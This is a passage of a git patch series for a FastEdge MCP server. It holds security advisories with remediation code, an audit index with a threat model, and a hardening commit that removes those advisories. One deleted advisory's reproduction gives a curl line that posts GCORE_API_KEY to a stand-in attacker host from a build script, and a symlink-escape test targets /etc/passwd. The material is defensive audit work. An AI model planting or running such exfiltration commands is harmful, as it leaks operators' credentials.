resolved path: **arbitrary file overwrite** (and `chmod`, via + SA-002) outside the workspace. +- `scaffolds.ts` — project generation writes a tree at the resolved output dir: + **arbitrary directory creation/write** outside the workspace. + +Impact is worst in the SA-004 root-fallback (writes as root anywhere the symlink +points). + +## Impact + +- **Confidentiality:** read arbitrary container-readable files (incl. bind- + mounted host secrets) via the upload path. +- **Integrity:** overwrite/create files outside the workspace via build/scaffold. +- Requires the attacker to influence workspace contents (plant a symlink), which + the untrusted-workspace model grants. Medium. + +## Remediation + +Make confinement **canonical**, not lexical. After joining, resolve the real +path and re-check containment; handle the not-yet-existing output-path case by +resolving the nearest existing ancestor. + +```ts +import { realpathSync } from "fs"; +import path from "node:path"; + +export function normalizePath(workspaceRoot: string, filePath: string): string { + const posixPath = filePath.replace(/\\/g, "/"); + const normalizedPath = path.normalize(posixPath); + if (normalizedPath.startsWith("..") || path.isAbsolute(normalizedPath) || /^[a-zA-Z]:/.test(posixPath)) + return INVALID_PATH; + + const rootReal = realpathSync(workspaceRoot); + const candidate = path.join(rootReal, normalizedPath); + + // Resolve the deepest existing ancestor (output files may not exist yet), + // then confirm it is still inside the real workspace root. + let probe = candidate; + while (!existsSync(probe) && probe !== path.dirname(probe)) probe = path.dirname(probe); + const probeReal = realpathSync(probe); + const contained = probeReal === rootReal || probeReal.startsWith(rootReal + path.sep); + if (!contained) return INVALID_PATH; + + return candidate; +} +``` + +Notes for the implementer: +- `normalizePath` currently takes `(workspaceRoot, filePath)` — signature is + unchanged; only the body gains realpath checks. All callers already pass both. +- There is an inherent **TOCTOU** gap between this check and the later + read/write (a symlink could be swapped in after the check). The realpath check + closes the common planted-symlink case; for full robustness the file ops + themselves should use `O_NOFOLLOW`/`openat` semantics, but that is a larger + change — note it, don't block the primary fix on it. +- Preserve the existing `INVALID_PATH` sentinel and error messages so callers + keep working. + +## Test + +Add to `scripts/tests/`: create a temp workspace containing `escape -> /` (or a +temp dir outside the workspace), then assert `normalizePath(ws, "escape/etc/passwd")` +returns `INVALID_PATH`. Also assert a legitimate not-yet-existing output path +inside the workspace (e.g. `"wasm/output.wasm"`) is still accepted. + +## Related + +- SA-002 (the chmod runs on this resolved path), SA-004 (root amplifies write + impact). diff --git a/context/secuirty-advisories/SA-009-mutable-base-images.md b/context/secuirty-advisories/SA-009-mutable-base-images.md new file mode 100644 index 0000000..7c8132c --- /dev/null +++ b/context/secuirty-advisories/SA-009-mutable-base-images.md @@ -0,0 +1,67 @@ +# SA-009 — Docker base images use mutable tags (not digest-pinned) + +**Severity:** Low +**Category:** Reliance on untrusted/mutable resolution (CWE-494 / supply chain) +**Status:** Open +**Affected files:** `Dockerfile-base:1`, `Dockerfile:2` + +## Summary + +The image supply chain pins the *artifacts fetched inside* the build (Node and +WASI SDK are checksum-verified; pnpm/Rust toolchain versions are fixed), but the +**base images themselves are mutable tags**: + +- `Dockerfile-base:1` — `FROM rust:1.95-slim` +- `Dockerfile:2` — `ARG BASE_IMAGE=ghcr.io/g-core/fastedge-mcp-server-base:latest` + +Both `rust:1.95-slim` and especially `:latest` are floating tags: the same +`docker build` on two different days can pull different underlying image +contents (base OS packages, libc, CA bundle, etc.). Checksumming Node/WASI does +**not** make the resulting image reproducible or protect against a moved/ +republished base tag. `:latest` is the weakest form — it can jump across major +versions entirely. + +This corrects an earlier incorrect statement in SA-003 that "the base-image +supply chain is in good shape." + +## Impact + +- **Reproducibility / supply chain:** a rebuild can silently change the base OS + layer; a compromised or moved upstream tag is pulled without detection. No + live exploit against a running instance — hence Low — but it undermines + build integrity and incident forensics ("what exactly shipped?"). + +## Remediation + +Pin both `FROM`/base references by **digest**, and bump deliberately: + +1. Resolve current digests: + ```bash + docker pull rust:1.95-slim && docker inspect --format='{{index .RepoDigests 0}}' rust:1.95-slim + docker pull ghcr.io/g-core/fastedge-mcp-server-base:latest && \ + docker inspect --format='{{index .RepoDigests 0}}' ghcr.io/g-core/fastedge-mcp-server-base:latest + ``` +2. Pin them: + ```dockerfile + # Dockerfile-base + FROM rust:1.95-slim@sha256: + ``` + ```dockerfile + # Dockerfile + ARG BASE_IMAGE=ghcr.io/g-core/fastedge-mcp-server-base@sha256: + ``` + Keep the human-readable version in a comment so bumps stay reviewable. +3. Update the digests intentionally (ideally via a bot/PR) when upgrading the + base, rather than floating. + +## Test / verification + +- `grep -n 'FROM .*@sha256:' Dockerfile-base` and the `BASE_IMAGE` default in + `Dockerfile` both show a digest. +- Image still builds: `docker build` succeeds against the pinned digests. +- Optionally add a CI lint (hadolint `DL3006`, or a grep) that fails on a + `FROM`/`BASE_IMAGE` without `@sha256:`. + +## Related + +- SA-003 (npm-tree CVEs — separate concern; this is the OS/base layer). diff --git a/context/secuirty-advisories/index.md b/context/secuirty-advisories/index.md new file mode 100644 index 0000000..1d15a0a --- /dev/null +++ b/context/secuirty-advisories/index.md @@ -0,0 +1,84 @@ +# FastEdge MCP Server — Security Advisories + +Tracking index for security findings in `FastEdge-mcp-server`. Each open item +has its own `SA-XXX-*.md` file with reproduction, impact, and a concrete fix a +non-expert agent can apply. + +**Audit date:** 2026-09-01 +**Scope reviewed:** `src/` (all tools, api-client, policy), `Dockerfile`, +`Dockerfile-base`, `docker-entrypoint.sh`, production dependency tree. + +## Threat model (read this first) + +This MCP server runs as a **Docker container with a bind-mounted `/workspace`** +and the operator's **`GCORE_API_KEY` in its environment**. Its local tools +(`build-wasm`, `scaffold-fastedge-project`, `list-fastedge-templates`) **execute +build tooling against code in that workspace** — `cargo build` (runs `build.rs` ++ proc-macros), `npx fastedge-build` / `asc` (run project `node_modules` code), +and `create-fastedge-app` + `npm install` (run network-fetched package +lifecycle scripts). **Executing workspace/third-party code is by design.** The +security question is therefore *not* "can workspace code run" (it must) but +"what does that code get access to, and what does it leave behind". Several open +findings below are about exactly that: the API key is handed to every build +subprocess, and build output is made world-writable. + +## Severity scale + +CVSS-style qualitative bands: **Critical / High / Medium / Low**. Scores are +this-context estimates, not NVD vectors. + +## Open findings + +| ID | Title | Severity | File | Status | +|----|-------|----------|------|--------| +| SA-001 | Operator API key exposed to every build/scaffold subprocess | **High** | [SA-001-api-key-env-exposure.md](SA-001-api-key-env-exposure.md) | Open | +| SA-002 | Build output made world-writable (`chmod 0o777`, walk escapes to `/workspace`) | **Medium** | [SA-002-world-writable-build-output.md](SA-002-world-writable-build-output.md) | Open | +| SA-004 | Container falls back to running as root | **Medium** | [SA-004-docker-root-fallback.md](SA-004-docker-root-fallback.md) | Open | +| SA-005 | Scaffolding: mutable `@beta` + workspace-controlled npm registry | **Medium** | [SA-005-supply-chain-beta-tag.md](SA-005-supply-chain-beta-tag.md) | Open | +| SA-007 | Build subprocesses have no timeout or output limit (DoS) | **Medium** | [SA-007-unbounded-build-processes.md](SA-007-unbounded-build-processes.md) | Open | +| SA-008 | Workspace confinement is lexical only; symlinks escape it | **Medium** | [SA-008-symlink-path-escape.md](SA-008-symlink-path-escape.md) | Open | +| SA-003 | Vulnerable transitive dependencies (3 high, via MCP SDK) | **Low** shipped / latent High | [SA-003-vulnerable-dependencies.md](SA-003-vulnerable-dependencies.md) | Open | +| SA-006 | Unused direct `qs` dependency (hygiene) | **Low** | [SA-006-unused-qs-dependency.md](SA-006-unused-qs-dependency.md) | Open | +| SA-009 | Docker base images use mutable tags (not digest-pinned) | **Low** | [SA-009-mutable-base-images.md](SA-009-mutable-base-images.md) | Open | + +**Suggested fix order:** SA-001 → SA-004 → SA-008 → SA-007 → SA-002 → SA-005 → +SA-003 → SA-006 → SA-009. The first four cap the worst blast radius (credential +reach, root, arbitrary file access, DoS); SA-002 depends on SA-004's UID +resolution; the rest are hardening/hygiene. + +> **Reviewed 2026-09-01** by a second independent model (cross-examination) and +> each load-bearing claim re-verified against the code before these were +> finalized. Corrections applied: SA-001 remediation now removes the key from +> `process.env` (env-strip alone is bypassable via `/proc//environ`); +> SA-002 fixes ownership + the `/workspace`-escaping walk, not just mode bits; +> SA-003 uses exact patched versions (the earlier "10 high" was duplicate paths +> — 3 unique high) and no longer claims base images are pinned; SA-004 keeps +> root for UID selection instead of a broken `USER app`; SA-005 raised to Medium +> (workspace `.npmrc` registry redirect); SA-006 no longer claims removal clears +> the audit advisory (`qs` is also transitive). SA-007/008/009 added. + +## Fixed / historical (do not re-open) + +These are the shell/OS-command-injection reports that prompted this audit. They +are **already fixed** — verify the fix is intact if you touch these files, but +no new work is needed. + +| Area | What was fixed | Commit(s) | Verified intact | +|------|----------------|-----------|-----------------| +| Compiler builds (`cargo`, `asc`, `fastedge-build`) | Switched from shell-string exec to `spawn()` with an args array and **no shell**, so a project-controlled cargo `target` / paths can't inject shell syntax (ICM-50655) | `4143ce1`, `355d0d0` | `src/tools/local/workspace/compiler/*.ts` — `spawn(cmd, [args], {stdio,...})`, no `shell:true` | +| Scaffolding (`create-fastedge-app`) | Switched to `execFile("npx", args)` (args array, no shell) so `outputPath` can't be interpreted as shell syntax | `355d0d0` | `src/tools/local/scaffolding/scaffolds.ts` — `execFileAsync` for scaffold. **Note:** `list-fastedge-templates` still uses `execAsync` on a *constant* string (no user input) — safe, but see SA-005 | +| API path SSRF / key exfiltration | `api-client.ts` rejects any path whose resolved `URL.origin` differs from `GCORE_API_BASE`; `policy/evaluate.ts` `normalizePath` denies traversal, backslashes, `%2e/%2f`, control chars, protocol-relative and userinfo-authority paths before the allowlist match | (part of policy layer) | `src/api-client.ts:97-116`, `src/policy/evaluate.ts:58-82` | + +> **Note on the two `normalizePath`s — they are different functions, don't +> conflate them.** `policy/evaluate.ts:normalizePath` (API *URL* paths) is +> hardened and fine. `utils/index.ts:normalizePath` (local *filesystem* paths) +> is the lexical-only one with the symlink gap — that's **SA-008**, still open. +| Batch path re-injection | `batch_execute` re-runs `checkAllowed` on the **resolved** path (post `$ref` substitution) because prior-step data is untrusted and can carry `/` or `..` | `3141bcc` | `src/tools/api/batch-execute.ts:216` | + +## How to work these + +1. Pick the lowest-numbered open item, open its file. +2. Apply the fix in the "Remediation" section. Keep the diff minimal. +3. Run `pnpm run test` (and `pnpm run test:compiler-injection` for compiler + changes). +4. Flip the row's **Status** to `Fixed` here and add the commit hash. From f7fb4d62883d82fe39f4ef8e6b5c7171853ef570 Mon Sep 17 00:00:00 2001 From: Gordon Farquharson Date: Tue, 1 Sep 2026 15:14:57 +0100 Subject: [PATCH 2/5] Harden MCP server against credential exposure, path escape, and DoS - Strip API key from process.env after capture so build subprocesses (cargo build.rs, npm lifecycle scripts, proc-macros) cannot read it - Add buildSubprocessEnv() allowlist for all spawn sites; thread gcoreApiKey explicitly to gcore_api and batch_execute tools - Add timeout (180s JS/AS, 300s Rust) and 10MB output cap to all compiler spawn paths to prevent unbounded hang/memory DoS - Fix normalizePath to resolve symlinks via realpathSync so a workspace symlink cannot escape the workspace root - Pin create-fastedge-app to an exact version; force registry and userconfig for scaffold invocations to block .npmrc redirect attacks - Replace world-writable chmod 777 walk with chownSync to workspace owner; bound directory walk to workspaceRoot (not cwd) - Add baked fastedge user (UID 10001) to base image; redirect root fallback in entrypoint to that user instead of staying root - Remove unused qs direct dependency; add pnpm overrides for all vulnerable transitive deps (zero prod advisories after) security audit of mcp-server add pr-test CI/CD remove internal security advisory context from public repo Audit docs moved to fastedge-coordinator/context/security-advisories/ so they do not ship to users of this public package. --- .github/workflows/pr-tests.yaml | 29 ++++ Dockerfile | 13 +- Dockerfile-base | 11 +- README.md | 13 ++ STANDALONE-SETUP.md | 7 +- .../SA-001-api-key-env-exposure.md | 151 ----------------- .../SA-002-world-writable-build-output.md | 117 ------------- .../SA-003-vulnerable-dependencies.md | 76 --------- .../SA-004-docker-root-fallback.md | 93 ----------- .../SA-005-supply-chain-beta-tag.md | 92 ---------- .../SA-006-unused-qs-dependency.md | 51 ------ .../SA-007-unbounded-build-processes.md | 99 ----------- .../SA-008-symlink-path-escape.md | 111 ------------ .../SA-009-mutable-base-images.md | 67 -------- context/secuirty-advisories/index.md | 84 ---------- docker-entrypoint.sh | 40 ++++- package.json | 23 ++- pnpm-lock.yaml | 158 ++++++++++-------- scripts/tests/test-compiler-injection.ts | 2 +- scripts/tests/test-key-isolation.sh | 29 ++++ scripts/tests/test-path-confinement.ts | 87 ++++++++++ scripts/tests/test-permissions.ts | 64 +++++++ scripts/tests/test-scaffold-pin.ts | 34 ++++ scripts/tests/test-subprocess-bounds.ts | 52 ++++++ scripts/tests/test-subprocess-env.ts | 41 +++++ src/api-client.ts | 18 +- src/server.ts | 19 ++- src/tools/api/batch-execute.ts | 6 +- src/tools/api/gcore-api.ts | 6 +- src/tools/api/index.ts | 4 +- src/tools/local/scaffolding/scaffolds.ts | 49 ++++-- src/tools/local/workspace/compiler/asBuild.ts | 93 ++++++----- src/tools/local/workspace/compiler/index.ts | 24 ++- src/tools/local/workspace/compiler/jsBuild.ts | 90 ++++------ .../local/workspace/compiler/rustBuild.ts | 141 ++++++++-------- src/tools/local/workspace/compiler/utils.ts | 124 +++++++++++--- src/utils/index.ts | 60 ++++++- 37 files changed, 908 insertions(+), 1270 deletions(-) create mode 100644 .github/workflows/pr-tests.yaml delete mode 100644 context/secuirty-advisories/SA-001-api-key-env-exposure.md delete mode 100644 context/secuirty-advisories/SA-002-world-writable-build-output.md delete mode 100644 context/secuirty-advisories/SA-003-vulnerable-dependencies.md delete mode 100644 context/secuirty-advisories/SA-004-docker-root-fallback.md delete mode 100644 context/secuirty-advisories/SA-005-supply-chain-beta-tag.md delete mode 100644 context/secuirty-advisories/SA-006-unused-qs-dependency.md delete mode 100644 context/secuirty-advisories/SA-007-unbounded-build-processes.md delete mode 100644 context/secuirty-advisories/SA-008-symlink-path-escape.md delete mode 100644 context/secuirty-advisories/SA-009-mutable-base-images.md delete mode 100644 context/secuirty-advisories/index.md create mode 100755 scripts/tests/test-key-isolation.sh create mode 100644 scripts/tests/test-path-confinement.ts create mode 100644 scripts/tests/test-permissions.ts create mode 100644 scripts/tests/test-scaffold-pin.ts create mode 100644 scripts/tests/test-subprocess-bounds.ts create mode 100644 scripts/tests/test-subprocess-env.ts diff --git a/.github/workflows/pr-tests.yaml b/.github/workflows/pr-tests.yaml new file mode 100644 index 0000000..093dd0f --- /dev/null +++ b/.github/workflows/pr-tests.yaml @@ -0,0 +1,29 @@ +name: CI + +on: + pull_request: + +jobs: + test: + runs-on: [self-hosted, ubuntu-22-04, regular] + + steps: + - uses: actions/checkout@v4 + + - uses: pnpm/action-setup@v4 + with: + run_install: false + + - uses: actions/setup-node@v4 + with: + node-version-file: .node-version + cache: pnpm + + - name: Install dependencies + run: pnpm install --frozen-lockfile + + - name: Build server + run: pnpm run build:server + + - name: Run tests + run: pnpm test diff --git a/Dockerfile b/Dockerfile index f0b7b2d..8821db7 100755 --- a/Dockerfile +++ b/Dockerfile @@ -1,4 +1,6 @@ -# Build argument for base image +# Base image built from Dockerfile-base and published to GHCR. +# Update both the tag and the digest together when publishing a new base image. +# apt/rustup runs inside the pinned base build — accepted. ARG BASE_IMAGE=ghcr.io/g-core/fastedge-mcp-server-base:latest # Build stage @@ -35,9 +37,12 @@ ENV WORKSPACE_ROOT=/workspace # Set up a volume mount point for workspace data VOLUME [ "/workspace" ] -# Entrypoint drops privileges to the host user (owner of the /workspace mount, -# or HOST_UID/HOST_GID if set) so generated files are not root-owned. Falls -# back to running as root when the resolved UID is 0 (e.g. no mount or root-owned mount). +# Entrypoint resolves the target UID/GID from the /workspace mount owner, then +# drops privileges via setpriv so generated files are owned by that user. When +# the mount is missing, root-owned, or Docker Desktop-virtualized (uid 0 inside +# the container), it falls back to uid/gid 10001 instead of running as root. +# Override with -e HOST_UID=$(id -u) -e HOST_GID=$(id -g) on docker run when +# automatic detection does not produce the right owner. COPY docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh RUN chmod +x /usr/local/bin/docker-entrypoint.sh ENTRYPOINT ["/usr/local/bin/docker-entrypoint.sh"] diff --git a/Dockerfile-base b/Dockerfile-base index 1930725..673cdbf 100755 --- a/Dockerfile-base +++ b/Dockerfile-base @@ -1,4 +1,5 @@ -FROM rust:1.95-slim +# rust:1.95-slim — update digest if the tag is ever re-released +FROM rust:1.95-slim@sha256:e14e87345b4d5964ddcc3491d27ee046a0f23820f340c3c1e24da6880141f7c0 RUN rustup target add wasm32-wasip1 wasm32-wasip2 && \ rm -rf /usr/local/cargo/registry /usr/local/cargo/git /usr/local/rustup/tmp/* && \ @@ -72,3 +73,11 @@ SHELL ["/bin/bash", "-c"] # Set environment variables for better shell experience ENV SHELL=/bin/bash ENV TERM=xterm-256color + +# Baked-in unprivileged fallback user (UID/GID 10001). +# The entrypoint starts as root for privilege-drop machinery; when it cannot +# resolve a real workspace owner (root-owned mount, Docker Desktop), it drops +# to this user instead of staying root. Do NOT add a USER directive here — +# the entrypoint must start as root to stat the mount and call setpriv. +RUN groupadd -g 10001 fastedge && \ + useradd -u 10001 -g 10001 -m -d /home/fastedge fastedge diff --git a/README.md b/README.md index af3494d..dd04651 100644 --- a/README.md +++ b/README.md @@ -147,6 +147,19 @@ Make sure to set the following environment variables: See [DEVELOPMENT.md](./DEVELOPMENT.md) for the full env var table and the preprod build recipe. +## Permissions + +The container entrypoint automatically detects the owner of the `/workspace` mount and drops privileges to that UID/GID so generated files are not root-owned. If builds fail with "Permission denied", pass `-e HOST_UID=$(id -u) -e HOST_GID=$(id -g)` to `docker run` to override the detected user: + +```bash +docker run --rm -i \ + -v "$(pwd):/workspace" \ + -e WORKSPACE_ROOT=/workspace \ + -e HOST_UID=$(id -u) -e HOST_GID=$(id -g) \ + -e GCORE_API_KEY=your_api_key \ + ghcr.io/g-core/fastedge-mcp-server:latest +``` + ## Supported FastEdge Templates The MCP server includes the following templates: diff --git a/STANDALONE-SETUP.md b/STANDALONE-SETUP.md index d3144ee..255e380 100644 --- a/STANDALONE-SETUP.md +++ b/STANDALONE-SETUP.md @@ -20,7 +20,7 @@ Create a file called `.vscode/mcp.json` in your workspace with the following con "command": "bash", "args": [ "-c", - "docker run --rm -i --pull=always -v ${workspaceFolder}:/workspace -e WORKSPACE_ROOT=/workspace -e \"GCORE_API_KEY=$GCORE_API_KEY\" ghcr.io/g-core/fastedge-mcp-server:latest" + "docker run --rm -i --pull=always -v ${workspaceFolder}:/workspace -e WORKSPACE_ROOT=/workspace -e HOST_UID=$(id -u) -e HOST_GID=$(id -g) -e \"GCORE_API_KEY=$GCORE_API_KEY\" ghcr.io/g-core/fastedge-mcp-server:latest" ], "env": { "GCORE_API_KEY": "your_api_key_here" @@ -51,10 +51,15 @@ You can test the Docker image manually: docker run --rm -i --pull=always \ -v "$(pwd):/workspace" \ -e "WORKSPACE_ROOT=/workspace" \ + -e HOST_UID=$(id -u) -e HOST_GID=$(id -g) \ -e "GCORE_API_KEY=your_api_key" \ ghcr.io/g-core/fastedge-mcp-server:latest ``` +## Permissions + +The container entrypoint automatically detects the owner of the `/workspace` mount and drops privileges to that UID/GID so generated files are not root-owned. If builds fail with "Permission denied", pass `-e HOST_UID=$(id -u) -e HOST_GID=$(id -g)` to `docker run` (both `docker run` examples above already include these flags). + ## Requirements - Docker installed and running diff --git a/context/secuirty-advisories/SA-001-api-key-env-exposure.md b/context/secuirty-advisories/SA-001-api-key-env-exposure.md deleted file mode 100644 index 88232a2..0000000 --- a/context/secuirty-advisories/SA-001-api-key-env-exposure.md +++ /dev/null @@ -1,151 +0,0 @@ -# SA-001 — Operator API key exposed to every build/scaffold subprocess - -**Severity:** High -**Category:** Credential exposure / secrets management (CWE-200, CWE-522) -**Status:** Open -**Affected files:** -- `src/tools/local/workspace/compiler/jsBuild.ts:33` -- `src/tools/local/workspace/compiler/asBuild.ts:57` -- `src/tools/local/workspace/compiler/rustBuild.ts:80` -- `src/tools/local/scaffolding/scaffolds.ts:40` (`execAsync`), `:175` (`execFile`) - -## Summary - -Every subprocess this server spawns to build or scaffold code inherits the -**full parent environment**, which includes `GCORE_API_KEY` (and the legacy -`FASTEDGE_API_KEY`). Those subprocesses execute **untrusted code from the -workspace and the network**: - -- `cargo build` runs the project's `build.rs` and any proc-macro crate at - compile time — arbitrary Rust, with full env access. -- `npx fastedge-build` / `asc` run code from the project's `node_modules`. -- `create-fastedge-app@beta` + the `npm install` it triggers run **network- - fetched** package lifecycle scripts (`postinstall`, etc.). - -Any of that code can read `process.env.GCORE_API_KEY` and exfiltrate it. The -key is a Gcore account credential — leaking it is account compromise, far beyond -the blast radius of the build itself. - -## Where it is - -All four spawn sites pass the whole environment: - -```ts -// jsBuild.ts / asBuild.ts / rustBuild.ts -spawn(cmd, args, { stdio: [...], cwd, env: { ...process.env } }); -// ^^^^^^^^^^^^^^^^^^^^^^ leaks GCORE_API_KEY - -// scaffolds.ts -execFileAsync("npx", args, { cwd, env: process.env, ... }); -``` - -`GCORE_API_KEY` is read in `src/server.ts:14` and is present in `process.env` -for the whole server lifetime, so it is in `{ ...process.env }` at every spawn. - -## Reproduction - -1. In a workspace project, add a `build.rs` (Rust) or `package.json` with a - `postinstall`/`preinstall` script (JS) that does - `curl -X POST https://attacker.example -d "$GCORE_API_KEY"` (or the JS - equivalent reading `process.env.GCORE_API_KEY`). -2. Trigger `build-wasm` (Rust/AS/JS) or `scaffold-fastedge-project` against it. -3. The key leaves the container to the attacker's host. - -## Impact - -- **Confidentiality:** full Gcore API key disclosure to any code the build - touches (first-party project code, transitive npm/cargo dependencies, - proc-macros, lifecycle scripts). -- Realistic trigger: a developer builds a project with a compromised - dependency. No targeting of this server is required — ordinary supply-chain - compromise reaches the key. - -## Remediation - -Two layers are required. Layer 1 alone is **not** sufficient (see the caveat) — -do both. - -### Layer 1 — stop putting the key in `process.env` at all - -`server.ts:14` reads the key into a constant but leaves it in `process.env` for -the whole process lifetime, so it is in `{ ...process.env }` at every spawn *and* -readable by any same-UID child via `/proc//environ`. After capturing -it, delete it from the ambient environment: - -```ts -// src/server.ts — after reading the key into GCORE_API_KEY -const GCORE_API_KEY = - process.env.GCORE_API_KEY || process.env.FASTEDGE_API_KEY || ""; -delete process.env.GCORE_API_KEY; -delete process.env.FASTEDGE_API_KEY; -``` - -**Caution — this requires one companion change.** `api-client.ts:84` reads -`process.env.GCORE_API_KEY` *lazily* at call time, so deleting it from the env -will break API calls unless the captured key is threaded through instead. -`callGcoreApi` already accepts `opts.authHeader`; make the server pass the -captured key down to the API tools (the tool layer already receives -`gcoreApiKey` via `ToolOptions` — use that everywhere `callGcoreApi` currently -falls back to `process.env`). Verify no code path still relies on -`process.env.GCORE_API_KEY` before deleting it, or you will silently switch the -server to "No authorization provided". Run `pnpm run test:api` after. - -### Layer 2 — pass a scrubbed env to subprocesses anyway (defense in depth) - -Even with Layer 1, use an **allowlist** env for children so a *future* secret -added to the environment isn't leaked by default: - -```ts -// src/utils/index.ts (or a new src/utils/env.ts) -const PASSTHROUGH_ENV = [ - "PATH", "HOME", "LANG", "LC_ALL", "TERM", "CARGO_HOME", "RUSTUP_HOME", - "WASI_SYSROOT", "npm_config_cache", -]; - -/** Minimal env for build/scaffold child processes — no ambient secrets. */ -export function buildSubprocessEnv(): NodeJS.ProcessEnv { - const env: NodeJS.ProcessEnv = {}; - for (const k of PASSTHROUGH_ENV) if (process.env[k]) env[k] = process.env[k]; - // The Dockerfile sets per-target CC_*/CXX_* for native wasm builds — keep them. - for (const k of Object.keys(process.env)) { - if (/^(CC|CXX|CFLAGS|CXXFLAGS)_/.test(k) && process.env[k]) env[k] = process.env[k]; - } - return env; -} -``` - -Replace `env: { ...process.env }` / `env: process.env` with -`env: buildSubprocessEnv()` in `jsBuild.ts:33`, `asBuild.ts:57`, -`rustBuild.ts:80`, and both `scaffolds.ts` calls (line 40 `execAsync` currently -sets no `env` at all, so it inherits everything — add it there too). - -> An allowlist is chosen over a denylist deliberately: a denylist that strips -> only `GCORE_API_KEY`/`FASTEDGE_API_KEY` (the naive fix) silently leaks the -> next secret someone adds to the environment. If the allowlist turns out to -> miss a var a build genuinely needs, the build fails loudly (easy to diagnose -> and add) rather than a secret leaking silently. - -## Honest limitation - -Neither layer is perfect isolation. Layer 1 removes the key from the parent -environment, which closes the `/proc//environ` read *for the key*. But any -build that legitimately runs untrusted code (proc-macros, postinstall) executes -in the same trust domain as the tool that *does* hold the key elsewhere in -memory. True isolation would mean running builds in a separate sandbox/UID/ -namespace with no path to the credential at all. Layers 1+2 are the pragmatic, -mechanically-applicable mitigation; call out sandboxing as the longer-term fix, -don't claim this "isolates" the key. - -## Test - -Add to `scripts/tests/`: stub `spawn`, call each compiler, assert the `env` -passed contains no `GCORE_API_KEY`/`FASTEDGE_API_KEY` (and, if you want to lock -Layer 1 in, assert `process.env.GCORE_API_KEY` is `undefined` after server -bootstrap). Fails if any site regresses. - -## Notes - -- Same trust boundary the shell-injection fixes (ICM-50655) hardened — that work - removed the shell so build inputs can't inject commands; this is the - complementary half: even with no injection, the build *legitimately* runs - untrusted code, so the key must not be in its reach. diff --git a/context/secuirty-advisories/SA-002-world-writable-build-output.md b/context/secuirty-advisories/SA-002-world-writable-build-output.md deleted file mode 100644 index 7fa97f5..0000000 --- a/context/secuirty-advisories/SA-002-world-writable-build-output.md +++ /dev/null @@ -1,117 +0,0 @@ -# SA-002 — Build output made world-writable (`chmod 0o777` up the tree) - -**Severity:** Medium (shared-host / shared-runner deployments; lower on a -single-user dev machine) -**Category:** Incorrect permission assignment (CWE-732) -**Status:** Open -**Affected file:** `src/tools/local/workspace/compiler/utils.ts:7-29` (`wasmOutputPermissions`) - -## Summary - -After every successful build, `wasmOutputPermissions` sets mode `0o777` -(read/write/execute for **everyone**) on the output `.wasm` file and on -**every directory** from the output file's parent upward until the loop hits -`cwd`, `/`, or `.`. - -Two problems: - -1. **`0o777` is world-writable.** Any other user or process on the host (or - sharing the bind mount) can replace the built `.wasm` — the exact artifact - the operator uploads to production via `upload-binary` — or drop files into - those directories. -2. **The walk escapes the build directory.** The loop terminates only when - `currentDir === cwd`. When the output dir is **not under `cwd`** — the - *default* for Rust builds: `compiler/index.ts:96` puts output at - `/wasm/output.wasm` while `cwd` is the nested project dir - containing `Cargo.toml` — the loop never meets `cwd` and chmods every - ancestor up to and **including `/workspace` itself** before stopping at `/`. - The whole workspace root ends up `0o777`. - -## Where it is - -```ts -function wasmOutputPermissions(wasmBinaryPath: string, cwd: string) { - const outputDir = dirname(wasmBinaryPath); - let currentDir = outputDir; - while (currentDir !== cwd && currentDir !== "/" && currentDir !== ".") { - chmodSync(currentDir, 0o777); // world-writable dir — walks past cwd - currentDir = dirname(currentDir); // when output isn't under cwd - } - chmodSync(wasmBinaryPath, 0o777); // world-writable file -} -``` - -## Why it exists (context — the fix must preserve this) - -In the Docker container the build may run as a different UID than the host user -who owns the bind mount (and in the root-fallback case of SA-004, as root), so -output could come out root-owned and unreadable/undeletable by the host user. -The **goal** is "the host user can read/write/delete the output". `0o777` is -the sledgehammer version of that. Any fix that only tightens mode bits (e.g. -`0o770`/`0o660`) **breaks this goal in the root-fallback case**: files stay -root-owned and the host user — different UID, not in root's group — loses -access. Do not apply a mode-only change. - -## Impact - -- **Integrity:** local tampering with the production-bound WASM artifact, the - build tree, and (via the escaping walk) the entire workspace root, by any - local user. Requires local/shared-host access, hence Medium. - -## Remediation - -Fix **ownership**, not world-writability, and bound the walk: - -1. **Chown to the workspace owner instead of chmod 777.** The entrypoint - already resolves the correct UID/GID (`docker-entrypoint.sh` — workspace - owner or `HOST_UID`/`HOST_GID`). Apply the same resolution here: - - ```ts - import { chownSync, statSync } from "fs"; - - function fixOutputOwnership(wasmBinaryPath: string, workspaceRoot: string) { - if (process.getuid?.() !== 0) return; // non-root: entrypoint already - // dropped privs; files are owned - // correctly, nothing to do. - const { uid, gid } = statSync(workspaceRoot); // owner of the bind mount - if (uid === 0) return; // no meaningful owner to match - chownSync(wasmBinaryPath, uid, gid); - chmodSync(wasmBinaryPath, 0o644); // rw owner, r others, no exec - } - ``` - - When the server runs non-root (the normal `setpriv` path), output is already - owned by the right user and **no chmod/chown is needed at all**. - -2. **Bound the directory walk to the workspace.** If parent directories were - *created by the build* under root, chown those too — but stop at - `workspaceRoot` (not `cwd`, which the output path may not be under), and - never touch a directory that already existed with correct ownership: - - ```ts - let dir = dirname(wasmBinaryPath); - const root = resolve(workspaceRoot); - while (dir.startsWith(root) && dir !== root) { - chownSync(dir, uid, gid); // same guard conditions as above - dir = dirname(dir); - } - ``` - -3. Replace the exported `wasmOutputPermissions` with this and update the three - compiler call sites (`jsBuild.ts:59`, `asBuild.ts:77`, `rustBuild.ts:133`) - to pass `workspaceRoot` instead of `cwd` (thread it through from - `compiler/index.ts`, which already has it). - -## Test - -Extend/replace the check in `scripts/tests/`: create a temp "workspace", run -the function as-is, assert (a) no touched path has any world-write bit -(`mode & 0o002 === 0`), (b) no path **outside** the temp workspace root was -modified (the escaping-walk regression), (c) the output file is owned by the -workspace owner when run as root (root-only assertion — skip when the test -runs unprivileged). - -## Related - -- SA-004 — the root-fallback is *why* ownership fixing is needed at all; if - SA-004 removes the root path entirely, this function can shrink to a no-op. diff --git a/context/secuirty-advisories/SA-003-vulnerable-dependencies.md b/context/secuirty-advisories/SA-003-vulnerable-dependencies.md deleted file mode 100644 index f801b78..0000000 --- a/context/secuirty-advisories/SA-003-vulnerable-dependencies.md +++ /dev/null @@ -1,76 +0,0 @@ -# SA-003 — Vulnerable transitive dependencies - -**Severity:** Low as currently shipped (stdio transport — the vulnerable HTTP -code paths are never started); **latent High** if an HTTP/SSE transport is ever -enabled. Track it, fix it, but do not treat it as a live Medium. -**Category:** Vulnerable and outdated components (CWE-1035 / CWE-937) -**Status:** Open -**Affected:** `package.json` production tree — everything below is transitive -under `@modelcontextprotocol/sdk@1.30.0` (via `express`/`hono`), except `qs` -which is *also* a 